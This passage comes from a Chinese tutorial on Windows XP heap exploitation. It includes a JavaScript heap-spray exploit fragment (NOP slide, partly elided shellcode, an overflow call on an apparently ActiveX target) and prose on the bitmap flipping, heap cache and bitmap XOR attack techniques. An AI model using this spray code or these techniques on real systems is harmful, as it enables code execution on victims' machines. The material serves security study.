由于当UEF被调用后,它最终会调用ExitProcess()来结束程序,而它在清理现场时需要进入临界区以同步线程,因此会调用RtlEnterCriticalSection()t和RtlLeaveCriticalSection()。ExitProcess是通过存放在PEB中的一对指针来调用这两个函数的,如果能够利用DWORD SHOOT把这对指针篡改成shellcode入口地址,那么在程序结束调用ExitProcess()就会执行shellcode。下面是在Windows XP SP3下PEB的情况:
Var shellcode="\u68fc\u7473\u6668\u6961……\u53c4\u5050\uff53\ufc57\uff53\uf857";
var nop="\u9090\u9090";
while (nop.length <= 0x100000/2)
{
nop+=nop;
}
nop = nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
var slide = new Array();
for ( var i=0; i<200; i++)
{
slide[i] = nop + shellcode;
}
var s= '';
while (s.length < 748)
{
s+="\x0c";
}
target.Overflow(s);
</script>
</body>
</html>
五、Bitmap Flipping Attack
在 Heap Management 结构中包含有Freelist Bitmap标志位,它是一个4字节的DWORD值,当对应的FreeList[n]被填充时,bitmap就将被设置。当请求分配堆块时,它会先搜索与之大小合适的FreeList[n],然后检测对应的bitmap,若上面为0就表示上面是块未使用的空闲块,则对应的FreeList[n]将用于分配配块,接着返回到对应的请求块FreeList[n]指向的地址。因此如果我们可以控制Bitmap,并能够覆盖freelist[n]中的值,那么我们就可以通过它来执行任意代码。更多信息可参见Ruxcon 2008大会上面的文章《Heaps About Heaps》
六、Heap Cache Attack
Heap Cache主要用于降低频繁遍历FreeList[0]的性能消耗,以提高性能。它主要是为FreeList[0]中的堆块创建扩展索引,更重要的是,Heap Manager并没有将任何空闲块移动缓存中,这些空闲块一直保存在FreeList[0]中,但缓存中保存着一些指针,它们指向FreeList[0]中的某些节点,以此来提升访问FreeList[0]的速度。堆缓存是一个bucket数组,每一个bucket包含有intptr_t字节用于存储大小,还有一个NULL指针或者FreeList[0]上的堆块指针。默认情况下,数组包括有896个bucket,其大小在1024和8192之间,但大小是可配置的,我们可指定最大的缓存索引号。在堆缓存攻击技术中又存在各种利用方式,比如De-synchronization Attack(通过覆写堆块头信息中的大小域,使每次请求同等大小堆块时都指向同一块已经使用的内存块,如果攻击者可能控制这一内存块中的内容,就有可能导致任意代码执行),Insert Attack、Existing Attacks、Malicious Cache Entry Attack……这些方法有很大的局限性,在实际运用上很难派上用场,若想获取更多关于这方面的信息可以参见BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。
七、Bitmap XOR Attack
Bitmap XOR Attack 是通过异或操作来更改 freelist bitmap,如果系统尝试清除这一错误的标志位,那么就可能从一个空闲位(free bit)切换到设置位(set bit),进而实现类似上文提到的bitmap attack。这个可以通过篡改堆块头信息中的大小域(CurSize),使其小于0x80,接着再使对应堆块中的前向指向与后向指针相等(flink == blink),并保证其指向的地址是可读的。更多信息可以参见BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。后面这几种方法实际利用价值不大,权当了解,学习思路更为重要。